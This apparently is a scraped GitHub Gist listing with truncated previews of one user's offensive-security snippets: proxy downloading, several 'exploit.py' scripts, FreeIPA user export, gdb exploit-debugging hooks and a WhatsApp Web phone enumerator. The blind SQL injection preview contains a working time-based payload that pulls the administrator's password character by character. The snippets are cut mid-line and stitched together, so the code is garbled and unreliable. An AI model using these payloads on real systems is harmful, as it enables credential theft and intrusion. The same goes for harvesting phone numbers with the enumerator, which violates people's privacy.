Skip to content

Instantly share code, notes, and snippets.

#!/bin/bash
# Function to download proxies using curl
download_proxies() {
url=$1
output_file=$2
curl -s "$url" -o "$output_file"
}
# Function to add a prefix to proxy files
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import re
import sys
if len(sys.argv) != 2:
print("USAGE: exploit.py <url>")
sys.exit(1)
import requests, signal, sys, re
def read_file(file):
content = []
f = open(file, "r")
while(True):
linea = f.readline().rstrip('\n')
content.append(linea)
if not linea:
import requests, signal, sys
def read_file(file):
content = []
f = open(file, "r")
while(True):
linea = f.readline().rstrip('\n')
content.append(linea)
if not linea:
import requests, signal, sys, string, random
def read_file(file):
content = []
f = open(file, "r")
while(True):
linea = f.readline().rstrip('\n')
content.append(linea)
if not linea:
import requests
import sys
import string
def blind_sql_injection(url, length):
output = ''
target = url
headers={}
chars = string.digits + string.ascii_letters
for i in range(1, length+1):
base_cookie = "TrackingId=VVXZ5soYhRzXLKyj'%%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,%s,1)='[CHAR]')+THEN+pg_sleep(8)+ELSE+pg_sleep(0)+END+FROM+users--; session=OgsZsGdBcQnsSGqgwH3DXryrixIpLxn9"%(str(i))
#!/usr/bin/python2
from ipalib import api
api.bootstrap(context="exporter", debug=False)
api.finalize()
api.Backend.rpcclient.connect()
users = api.Command["user_find"](all=True)["result"]
#!/usr/bin/python2
from ipalib import api
api.bootstrap(context="exporter", debug=False)
api.finalize()
api.Backend.rpcclient.connect()
users = api.Command["user_find"](all=True)["result"]
32bit
set disassembly-flavor intel
define hook-stop
info registers
x/24wx $esp
x/5i $eip
end
@KrE80r
KrE80r / whatsapp_phone_enumerator.js
Created May 15, 2017 17:12
whatsapp_phone_enumerator.js
/*
- Open WhatsApp web
- Make sure the phone is connected to the WhatsApp Web (past the QR-code screen)
- Open up the console (F12) (Firefox users: type 'allow pasting' if you haven't done so yet)
- Select the contents of this complete file and copy/paste it to the console
- Never, NEVER do something like this if you're not 100% sure this file is from a thrustworthy source!
- You'll see a UI with 2 textboxes and a button
- You may close the console now
*/